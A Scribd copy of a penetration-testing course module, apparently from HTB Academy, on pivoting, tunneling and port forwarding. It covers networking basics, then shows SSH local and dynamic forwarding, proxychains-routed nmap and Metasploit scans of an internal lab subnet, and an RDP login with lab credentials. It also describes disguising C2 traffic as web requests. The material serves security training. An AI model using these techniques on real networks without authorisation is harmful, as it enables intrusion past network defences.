100% found this document useful (2 votes)

2K views79 pages

12 Pivoting, Tunneling, andPortForwarding

Uploaded by

abdulhmeed446

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

100% found this document useful (2 votes)

2K views79 pages

12 Pivoting, Tunneling, andPortForwarding

Uploaded by

abdulhmeed446

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

You are on page 1/ 79

12.

Pivoting, Tunneling, and Port Forwarding

Introduction to Pivoting, Tunneling, and Port
Forwarding

During a red team engagement , penetration test , or an Active Directory

assessment , we will often find ourselves in a situation where we might have already
compromised the required credentials , ssh keys , hashes , or access tokens to move
onto another host, but there may be no other host directly reachable from our attack host. In
such cases, we may need to use a pivot host that we have already compromised to find a
way to our next target. One of the most important things to do when landing on a host for the
first time is to check our privilege level , network connections , and potential VPN or
other remote access software . If a host has more than one network adapter, we can
likely use it to move to a different network segment. Pivoting is essentially the idea of
moving to other networks through a compromised host to find more targets on
different network segments .

There are many different terms used to describe a compromised host that we can use to
pivot to a previously unreachable network segment. Some of the most common are:

Pivot Host
Proxy
Foothold
Beach Head system
Jump Host

Pivoting's primary use is to defeat segmentation (both physically and virtually) to access an
isolated network. Tunneling , on the other hand, is a subset of pivoting. Tunneling
encapsulates network traffic into another protocol and routes traffic through it. Think of it like
this:

We have a key we need to send to a partner, but we do not want anyone who sees our
package to know it is a key. So we get a stuffed animal toy and hide the key inside with
instructions about what it does. We then package the toy up and send it to our partner.
Anyone who inspects the box will see a simple stuffed toy, not realizing it contains something
else. Only our partner will know that the key is hidden inside and will learn how to access
and use it once delivered.

Typical applications like VPNs or specialized browsers are just another form of tunneling
network traffic.

We will inevitably come across several different terms used to describe the same thing in IT
& the Infosec industry. With pivoting, we will notice that this is often referred to as Lateral
Movement .

Isn't it the same thing as pivoting?

The answer to that is not exactly. Let's take a second to compare and contrast Lateral
Movement with Pivoting and Tunneling , as there can be some confusion as to why some
consider them different concepts.

Lateral Movement, Pivoting, and Tunneling Compared

Lateral Movement
Lateral movement can be described as a technique used to further our access to additional
hosts , applications , and services within a network environment. Lateral movement
can also help us gain access to specific domain resources we may need to elevate our
privileges. Lateral Movement often enables privilege escalation across hosts. In addition to
the explanation we have provided for this concept, we can also study how other respected
organizations explain Lateral Movement. Check out these two explanations when time
permits:

Palo Alto Network's Explanation

MITRE's Explanation

One practical example of Lateral Movement would be:

During an assessment, we gained initial access to the target environment and were able to
gain control of the local administrator account. We performed a network scan and found
three more Windows hosts in the network. We attempted to use the same local administrator
credentials, and one of those devices shared the same administrator account. We used the
credentials to move laterally to that other device, enabling us to compromise the domain
further.

Pivoting
Utilizing multiple hosts to cross network boundaries you would not usually have access to.
This is more of a targeted objective. The goal here is to allow us to move deeper into a
network by compromising targeted hosts or infrastructure.

One practical example of Pivoting would be:

During one tricky engagement, the target had their network physically and logically
separated. This separation made it difficult for us to move around and complete our
objectives. We had to search the network and compromise a host that turned out to be the
engineering workstation used to maintain and monitor equipment in the operational
environment, submit reports, and perform other administrative duties in the enterprise
environment. That host turned out to be dual-homed (having more than one physical NIC
connected to different networks). Without it having access to both enterprise and operational
networks, we would not have been able to pivot as we needed to complete our assessment.

Tunneling

We often find ourselves using various protocols to shuttle traffic in/out of a network where
there is a chance of our traffic being detected. For example, using HTTP to mask our
Command & Control traffic from a server we own to the victim host. The key here is
obfuscation of our actions to avoid detection for as long as possible. We utilize protocols with
enhanced security measures such as HTTPS over TLS or SSH over other transport
protocols. These types of actions also enable tactics like the exfiltration of data out of a
target network or the delivery of more payloads and instructions into the network.

One practical example of Tunneling would be:

One way we used Tunneling was to craft our traffic to hide in HTTP and HTTPS. This is a
common way we maintained Command and Control (C2) of the hosts we had compromised
within a network. We masked our instructions inside GET and POST requests that appeared
as normal traffic and, to the untrained eye, would look like a web request or response to any
old website. If the packet were formed properly, it would be forwarded to our Control server.
If it were not, it would be redirected to another website, potentially throwing off the defender
checking it out.

To summarize, we should look at these tactics as separate things. Lateral Movement helps
us spread wide within a network, elevating our privileges, while Pivoting allows us to delve
deeper into the networks accessing previously unreachable environments. Keep this
comparison in mind while moving through this module.

Now that we have been introduced to the module and have defined and compared Lateral
Movement, Pivoting, and Tunneling, let's dive into some of the networking concepts that
enable us to perform these tactics.

The Networking Behind Pivoting

Being able to grasp the concept of pivoting well enough to succeed at it on an

engagement requires a solid fundamental understanding of some key networking concepts.
This section will be a quick refresher on essential foundational networking concepts to
understand pivoting.

IP Addressing & NICs

Every computer that is communicating on a network needs an IP address. If it doesn't have
one, it is not on a network. The IP address is assigned in software and usually obtained
automatically from a DHCP server. It is also common to see computers with statically
assigned IP addresses. Static IP assignment is common with:

Servers
Routers
Switch virtual interfaces
Printers
And any devices that are providing critical services to the network

Whether assigned dynamically or statically , the IP address is assigned to a Network

Interface Controller ( NIC ). Commonly, the NIC is referred to as a Network Interface
Card or Network Adapter . A computer can have multiple NICs (physical and virtual),
meaning it can have multiple IP addresses assigned, allowing it to communicate on various
networks. Identifying pivoting opportunities will often depend on the specific IPs assigned to
the hosts we compromise because they can indicate the networks compromised hosts can
reach. This is why it is important for us to always check for additional NICs using commands
like ifconfig (in macOS and Linux) and ipconfig (in Windows).
Using ifconfig

ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 134.122.100.200 netmask 255.255.240.0 broadcast
134.122.111.255
inet6 fe80::e973:b08d:7bdf:dc67 prefixlen 64 scopeid 0x20<link>
ether 12:ed:13:35:68:f5 txqueuelen 1000 (Ethernet)
RX packets 8844 bytes 803773 (784.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5698 bytes 9713896 (9.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.106.0.172 netmask 255.255.240.0 broadcast 10.106.15.255
inet6 fe80::a5bf:1cd4:9bca:b3ae prefixlen 64 scopeid 0x20<link>
ether 4e:c7:60:b0:01:8d txqueuelen 1000 (Ethernet)
RX packets 15 bytes 1620 (1.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18 bytes 1858 (1.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 19787 bytes 10346966 (9.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 19787 bytes 10346966 (9.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500

inet 10.10.15.54 netmask 255.255.254.0 destination 10.10.15.54
inet6 fe80::c85a:5717:5e3a:38de prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1034 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen
500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7 bytes 336 (336.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

In the output above, each NIC has an identifier ( eth0 , eth1 , lo , tun0 ) followed by
addressing information and traffic statistics. The tunnel interface (tun0) indicates a VPN
connection is active. When we connect to any of HTB's VPN servers through Pwnbox or our
own attack host, we will always notice a tunnel interface gets created and assigned an IP
address. The VPN allows us to access the lab network environments hosted by HTB. Keep
in mind that these lab networks are not reachable without having a tunnel established. The
VPN encrypts traffic and also establishes a tunnel over a public network (often the Internet),
through NAT on a public-facing network appliance, and into the internal/private network.
Also, notice the IP addresses assigned to each NIC. The IP assigned to eth0 (
134.122.100.200 ) is a publicly routable IP address. Meaning ISPs will route traffic
originating from this IP over the Internet. We will see public IPs on devices that are directly
facing the Internet, commonly hosted in DMZs. The other NICs have private IP addresses,
which are routable within internal networks but not over the public Internet. At the time of
writing, anyone that wants to communicate over the Internet must have at least one public IP
address assigned to an interface on the network appliance that connects to the physical
infrastructure connecting to the Internet. Recall that NAT is commonly used to translate
private IP addresses to public IP addresses.

Using ipconfig

PS C:\Users\htb-student> ipconfig

Windows IP Configuration

Unknown adapter NordLynx:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . :

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . : .htb

IPv6 Address. . . . . . . . . . . : dead:beef::1a9
IPv6 Address. . . . . . . . . . . : dead:beef::f58b:6381:c648:1fb0
Temporary IPv6 Address. . . . . . : dead:beef::dd0b:7cda:7118:3373
Link-local IPv6 Address . . . . . : fe80::f58b:6381:c648:1fb0%8
IPv4 Address. . . . . . . . . . . : 10.129.221.36
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:df81%8
10.129.0.1

Ethernet adapter Ethernet:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . :

The output directly above is from issuing ipconfig on a Windows system. We can see that
this system has multiple adapters, but only one of them has IP addresses assigned. There
are IPv6 addresses and an IPv4 address. This module will primarily focus on networks
running IPv4 as it remains the most common IP addressing mechanism in enterprise LANs.
We will notice some adapters, like the one in the output above, will have an IPv4 and an
IPv6 address assigned in a dual-stack configuration allowing resources to be reached over
IPv4 or IPv6.

Every IPv4 address will have a corresponding subnet mask . If an IP address is like a phone
number, the subnet mask is like the area code. Remember that the subnet mask defines the
network & host portion of an IP address. When network traffic is destined for an IP
address located in a different network, the computer will send the traffic to its assigned
default gateway . The default gateway is usually the IP address assigned to a NIC on an
appliance acting as the router for a given LAN. In the context of pivoting, we need to be
mindful of what networks a host we land on can reach, so documenting as much IP
addressing information as possible on an engagement can prove helpful.

Routing
It is common to think of a network appliance that connects us to the Internet when thinking
about a router, but technically any computer can become a router and participate in routing.
Some of the challenges we will face in this module require us to make a pivot host route
traffic to another network. One way we will see this is through the use of AutoRoute, which
allows our attack box to have routes to target networks that are reachable through a pivot
host. One key defining characteristic of a router is that it has a routing table that it uses to
forward traffic based on the destination IP address. Let's look at this on Pwnbox using the
commands netstat -r or ip route .

Routing Table on Pwnbox

netstat -r

Kernel IP routing table

Destination Gateway Genmask Flags MSS Window irtt
Iface
default 178.62.64.1 0.0.0.0 UG 0 0 0
eth0
10.10.10.0 10.10.14.1 255.255.254.0 UG 0 0 0
tun0
10.10.14.0 0.0.0.0 255.255.254.0 U 0 0 0
tun0
10.106.0.0 0.0.0.0 255.255.240.0 U 0 0 0
eth1
10.129.0.0 10.10.14.1 255.255.0.0 UG 0 0 0
tun0
178.62.64.0 0.0.0.0 255.255.192.0 U 0 0 0
eth0

We will notice that Pwnbox, Linux distros, Windows, and many other operating systems have
a routing table to assist the system in making routing decisions. When a packet is created
and has a destination before it leaves the computer, the routing table is used to decide
where to send it. For example, if we are trying to connect to a target with the IP
10.129.10.25 , we could tell from the routing table where the packet would be sent to get
there. It would be forwarded to a Gateway out of the corresponding NIC ( Iface ). Pwnbox
is not using any routing protocols (EIGRP, OSPF, BGP, etc...) to learn each of those routes. It
learned about those routes via its own directly connected interfaces (eth0, eth1, tun0).
Stand-alone appliances designated as routers typically will learn routes using a combination
of static route creation, dynamic routing protocols, and directly connected interfaces. Any
traffic destined for networks not present in the routing table will be sent to the default
route , which can also be referred to as the default gateway or gateway of last resort. When
looking for opportunities to pivot, it can be helpful to look at the hosts' routing table to identify
which networks we may be able to reach or which routes we may need to add.

Protocols, Services & Ports

Protocols are the rules that govern network communications. Many protocols and services
have corresponding ports that act as identifiers. Logical ports aren't physical things we can
touch or plug anything into. They are in software assigned to applications. When we see an
IP address, we know it identifies a computer that may be reachable over a network. When
we see an open port bound to that IP address, we know that it identifies an application we
may be able to connect to. Connecting to specific ports that a device is listening on can
often allow us to use ports & protocols that are permitted in the firewall to gain a foothold
on the network.

Let's take, for example, a web server using HTTP ( often listening on port 80 ). The
administrators should not block traffic coming inbound on port 80. This would prevent
anyone from visiting the website they are hosting. This is often a way into the network
environment, through the same port that legitimate traffic is passing . We must
not overlook the fact that a source port is also generated to keep track of established
connections on the client-side of a connection. We need to remain mindful of what ports we
are using to ensure that when we execute our payloads, they connect back to the intended
listeners we set up. We will get creative with the use of ports throughout this module.

For further review of fundamental networking concepts, please reference the module
Introduction to Networking.
A tip from LTNB0B: In this module, we will practice many different tools and techniques to
pivot through hosts and forward local or remote services to our attack host to access targets
connected to different networks. This module gradually increases in difficulty, providing multi-
host networks to practice what is learned. I strongly encourage you to practice many different
methods in creative ways as you start to understand the concepts. Maybe even try to draw
out the network topologies using network diagramming tools as you face challenges. When I
am looking for opportunities to pivot, I like to use tools like Draw.io to build a visual of the
network environment I am in, it serves as a great documentation tool as well. This module is
a lot of fun and will put your networking skills to the test. Have fun, and never stop learning!

Enable step-by-step solutions for all questions

Questions
Answer the question(s) below
to complete this Section and earn cubes!

Cheat Sheet

+ 1 Reference the Using ifconfig output in the section reading. Which NIC is assigned a
public IP address?

+10 Streak pts

Submit

+ 1 Reference the Routing Table on Pwnbox output shown in the section reading. If a packet
is destined for a host with the IP address of 10.129.10.25, out of which NIC will the packet be
forwarded?

+10 Streak pts

Submit

Hint

+ 1 Reference the Routing Table on Pwnbox output shown in the section reading. If a packet
is destined for www.hackthebox.com what is the IP address of the gateway it will be sent to?

+10 Streak pts

Submit

Hint
Dynamic Port Forwarding with SSH and SOCKS
Tunneling

Port Forwarding in Context

Port forwarding is a technique that allows us to redirect a communication request from
one port to another. Port forwarding uses TCP as the primary communication layer to
provide interactive communication for the forwarded port. However, different application layer
protocols such as SSH or even SOCKS (non-application layer) can be used to encapsulate
the forwarded traffic. This can be effective in bypassing firewalls and using existing services
on your compromised host to pivot to other networks.

SSH Local Port Forwarding

Let's take an example from the below image.

Note: Each network diagram presented in this module is designed to illustrate concepts
discussed in the associated section. The IP addressing shown in the diagrams will not
always match the lab environments exactly. Be sure to focus on understanding the concept,
and you will find the diagrams will prove very useful! After reading this section be sure to
reference the above image again to reinforce the concepts.
We have our attack host (10.10.15.x) and a target Ubuntu server (10.129.x.x), which we
have compromised. We will scan the target Ubuntu server using Nmap to search for open
ports.

Scanning the Pivot Target

nmap -sT -p22,3306 10.129.202.64

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST

Nmap scan report for 10.129.202.64
Host is up (0.12s latency).

PORT STATE SERVICE

22/tcp open ssh
3306/tcp closed mysql

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

The Nmap output shows that the SSH port is open. To access the MySQL service, we can
either SSH into the server and access MySQL from inside the Ubuntu server, or we can port
forward it to our localhost on port 1234 and access it locally. A benefit of accessing it locally
is if we want to execute a remote exploit on the MySQL service, we won't be able to do it
without port forwarding. This is due to MySQL being hosted locally on the Ubuntu server on
port 3306 . So, we will use the below command to forward our local port (1234) over SSH to
the Ubuntu server.

Executing the Local Port Forward

ssh -L 1234:localhost:3306 [email protected]

[email protected]'s password:

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu 24 Feb 2022 05:23:20 PM UTC

System load: 0.0

Usage of /: 28.4% of 13.72GB
Memory usage: 34%
Swap usage: 0%
Processes: 175
Users logged in: 1
IPv4 address for ens192: 10.129.202.64
IPv6 address for ens192: dead:beef::250:56ff:feb9:52eb
IPv4 address for ens224: 172.16.5.129

* Super-optimized for small spaces - read how we shrank the memory

footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

66 updates can be applied immediately.

45 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The -L command tells the SSH client to request the SSH server to forward all the data we
send via the port 1234 to localhost:3306 on the Ubuntu server. By doing this, we should
be able to access the MySQL service locally on port 1234. We can use Netstat or Nmap to
query our local host on 1234 port to verify whether the MySQL service was forwarded.

Confirming Port Forward with Netstat

netstat -antp | grep 1234

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN
4034/ssh
tcp6 0 0 ::1:1234 :::* LISTEN
4034/ssh

Confirming Port Forward with Nmap

nmap -v -sV -p1234 localhost

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:18 EST

NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:18
Scanning localhost (127.0.0.1) [2 ports]
Completed Ping Scan at 12:18, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:18
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 1234/tcp on 127.0.0.1
Completed Connect Scan at 12:18, 0.01s elapsed (1 total ports)
Initiating Service scan at 12:18
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 12:18, 0.12s elapsed (1 service on 1 host)
NSE: Script scanning 127.0.0.1.
Initiating NSE at 12:18
Completed NSE at 12:18, 0.01s elapsed
Initiating NSE at 12:18
Completed NSE at 12:18, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0080s latency).
Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE VERSION

1234/tcp open mysql MySQL 8.0.28-0ubuntu0.20.04.3

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

Similarly, if we want to forward multiple ports from the Ubuntu server to your localhost, you
can do so by including the local port:server:port argument to your ssh command. For
example, the below command forwards the apache web server's port 80 to your attack host's
local port on 8080 .

Forwarding Multiple Ports

ssh -L 1234:localhost:3306 -L 8080:localhost:80 [email protected]

Setting up to Pivot
Now, if you type ifconfig on the Ubuntu host, you will find that this server has multiple
NICs:

One connected to our attack host ( ens192 )

One communicating to other hosts within a different network ( ens224 )
The loopback interface ( lo ).

Looking for Opportunities to Pivot using ifconfig

ubuntu@WEB01:~$ ifconfig

ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.129.202.64 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 dead:beef::250:56ff:feb9:52eb prefixlen 64 scopeid
0x0<global>
inet6 fe80::250:56ff:feb9:52eb prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:52:eb txqueuelen 1000 (Ethernet)
RX packets 35571 bytes 177919049 (177.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10452 bytes 1474767 (1.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens224: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 172.16.5.129 netmask 255.255.254.0 broadcast 172.16.5.255
inet6 fe80::250:56ff:feb9:a9aa prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:a9:aa txqueuelen 1000 (Ethernet)
RX packets 8251 bytes 1125190 (1.1 MB)
RX errors 0 dropped 40 overruns 0 frame 0
TX packets 1538 bytes 123584 (123.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 270 bytes 22432 (22.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 270 bytes 22432 (22.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Unlike the previous scenario where we knew which port to access, in our current scenario,
we don't know which services lie on the other side of the network. So, we can scan smaller
ranges of IPs on the network ( 172.16.5.1-200 ) network or the entire subnet (
172.16.5.0/23 ). We cannot perform this scan directly from our attack host because it does
not have routes to the 172.16.5.0/23 network. To do this, we will have to perform dynamic
port forwarding and pivot our network packets via the Ubuntu server. We can do this
by starting a SOCKS listener on our local host (personal attack host or Pwnbox) and
then configure SSH to forward that traffic via SSH to the network (172.16.5.0/23) after
connecting to the target host.

This is called SSH tunneling over SOCKS proxy . SOCKS stands for Socket Secure , a
protocol that helps communicate with servers where you have firewall restrictions in place.
Unlike most cases where you would initiate a connection to connect to a service, in the case
of SOCKS, the initial traffic is generated by a SOCKS client, which connects to the SOCKS
server controlled by the user who wants to access a service on the client-side. Once the
connection is established, network traffic can be routed through the SOCKS server on behalf
of the connected client.

This technique is often used to circumvent the restrictions put in place by firewalls, and allow
an external entity to bypass the firewall and access a service within the firewalled
environment. One more benefit of using SOCKS proxy for pivoting and forwarding data is
that SOCKS proxies can pivot via creating a route to an external server from NAT networks .
SOCKS proxies are currently of two types: SOCKS4 and SOCKS5 . SOCKS4 doesn't provide
any authentication and UDP support, whereas SOCKS5 does provide that. Let's take an
example of the below image where we have a NAT'd network of 172.16.5.0/23, which we
cannot access directly.

In the above image, the attack host starts the SSH client and requests the SSH server to
allow it to send some TCP data over the ssh socket. The SSH server responds with an
acknowledgment, and the SSH client then starts listening on localhost:9050 . Whatever
data you send here will be broadcasted to the entire network (172.16.5.0/23) over SSH. We
can use the below command to perform this dynamic port forwarding.

Enabling Dynamic Port Forwarding with SSH

ssh -D 9050 [email protected]

The -D argument requests the SSH server to enable dynamic port forwarding. Once we
have this enabled, we will require a tool that can route any tool's packets over the port 9050 .
We can do this using the tool proxychains , which is capable of redirecting TCP
connections through TOR, SOCKS, and HTTP/HTTPS proxy servers and also allows us to
chain multiple proxy servers together. Using proxychains, we can hide the IP address of the
requesting host as well since the receiving host will only see the IP of the pivot host.
Proxychains is often used to force an application's TCP traffic to go through hosted
proxies like SOCKS4 / SOCKS5 , TOR , or HTTP / HTTPS proxies.

To inform proxychains that we must use port 9050, we must modify the proxychains
configuration file located at /etc/proxychains.conf . We can add socks4 127.0.0.1
9050 to the last line if it is not already there.

Checking /etc/proxychains.conf

tail -4 /etc/proxychains.conf

# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050

Now when you start Nmap with proxychains using the below command, it will route all the
packets of Nmap to the local port 9050, where our SSH client is listening, which will forward
all the packets over SSH to the 172.16.5.0/23 network.

Using Nmap with Proxychains

proxychains nmap -v -sn 172.16.5.1-200

ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:30 EST

<SNIP>

This part of packing all your Nmap data using proxychains and forwarding it to a remote
server is called SOCKS tunneling . One more important note to remember here is that we
can only perform a full TCP connect scan over proxychains. The reason for this is that
proxychains cannot understand partial packets. If you send partial packets like half connect
scans, it will return incorrect results. We also need to make sure we are aware of the fact
that host-alive checks may not work against Windows targets because the Windows
Defender firewall blocks ICMP requests (traditional pings) by default.

A full TCP connect scan without ping on an entire network range will take a long time. So, for
this module, we will primarily focus on scanning individual hosts, or smaller ranges of hosts
we know are alive, which in this case will be a Windows host at 172.16.5.19 .

We will perform a remote system scan using the below command.

Enumerating the Windows Target through Proxychains

proxychains nmap -v -Pn -sT 172.16.5.19

The Nmap scan shows several open ports, one of which is RDP port (3389). Similar to the
Nmap scan, we can also pivot msfconsole via proxychains to perform vulnerable RDP
scans using Metasploit auxiliary modules. We can start msfconsole with proxychains.
Using Metasploit with Proxychains
We can also open Metasploit using proxychains and send all associated traffic through the
proxy we have established.

proxychains msfconsole

ProxyChains-3.1 (http://proxychains.sf.net)

.~+P``````-o+:. -o+:.
.+oooyysyyssyyssyddh++os-````` ```````````````
`
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:oo
o///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///o
ossosy
--.`
.-.-...-////+++++++++++++++////////~~//////++++++++++++///
`...............`
`...-/////...`

.::::::::::-.
.::::::-

.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo

:Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
.sm/`-
yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
-Nd`
:MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
-Nh`
.yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
òo/``-hd: `` .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
.yNmMMh//+syysso-`````` -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
.shMMMMN//dmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/
`///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
/MMMMMMMMMMMMMMMMMMd. `/++-.-yy/...osydh/-+oo:-ò//...oyodh+
-hMMmssddd+:dMMmNMMh. `.-=mmk.//^^^\\.^^`:++:^ô://^^^\\`::
.sMMmo. -dMd--:mN/` ||--X--|| ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//....
.....
==========================================================================
======
=====================+--------------------------------
+=========================
=====================| Session one died of dysentery.
|=========================
=====================+--------------------------------
+=========================
==========================================================================
======

Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab
%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%

Press SPACE BAR to continue

=[ metasploit v6.1.27-dev ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Adapter names can be used for IP params

set LHOST eth0

msf6 >

Let's use the rdp_scanner auxiliary module to check if the host on the internal network is
listening on 3389.

Using rdp_scanner Module

msf6 > search rdp_scanner

Matching Modules
================

# Name Disclosure Date Rank Check

Description
- ---- --------------- ---- ----- -
----------
0 auxiliary/scanner/rdp/rdp_scanner normal No
Identify endpoints speaking the Remote Desktop Protocol (RDP)

Interact with a module by name or index. For example info 0, use 0 or use
auxiliary/scanner/rdp/rdp_scanner

msf6 > use 0

msf6 auxiliary(scanner/rdp/rdp_scanner) > set rhosts 172.16.5.19
rhosts => 172.16.5.19
msf6 auxiliary(scanner/rdp/rdp_scanner) > run
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK

[*] 172.16.5.19:3389 - Detected RDP on 172.16.5.19:3389

(name:DC01) (domain:DC01) (domain_fqdn:DC01) (server_fqdn:DC01)
(os_version:10.0.17763) (Requires NLA: No)
[*] 172.16.5.19:3389 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

At the bottom of the output above, we can see the RDP port open with the Windows OS
version.

Depending on the level of access we have to this host during an assessment, we may try to
run an exploit or log in using gathered credentials. For this module, we will log in to the
Windows remote host over the SOCKS tunnel. This can be done using xfreerdp . The user
in our case is victor, and the password is pass@123

Using xfreerdp with Proxychains

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

ProxyChains-3.1 (http://proxychains.sf.net)
[13:02:42:481] [4829:4830] [INFO][com.freerdp.core] -
freerdp_connect:freerdp_set_last_error_ex resetting error state
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx rdpdr
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx rdpsnd
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx cliprdr

The xfreerdp command will require an RDP certificate to be accepted before successfully
establishing the session. After accepting it, we should have an RDP session, pivoting via the
Ubuntu server.

Successful RDP Pivot

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

Remote/Reverse Port Forwarding with SSH

We have seen local port forwarding, where SSH can listen on our local host and forward a
service on the remote host to our port, and dynamic port forwarding, where we can send
packets to a remote network via a pivot host. But sometimes, we might want to forward a
local service to the remote port as well. Let's consider the scenario where we can RDP into
the Windows host Windows A . As can be seen in the image below, in our previous case, we
could pivot into the Windows host via the Ubuntu server.
But what happens if we try to gain a reverse shell?

The outgoing connection for the Windows host is only limited to the 172.16.5.0/23
network. This is because the Windows host does not have any direct connection with the
network the attack host is on. If we start a Metasploit listener on our attack host and try to
get a reverse shell, we won't be able to get a direct connection here because the Windows
server doesn't know how to route traffic leaving its network (172.16.5.0/23) to reach the
10.129.x.x (the Academy Lab network).

There are several times during a penetration testing engagement when having just a remote
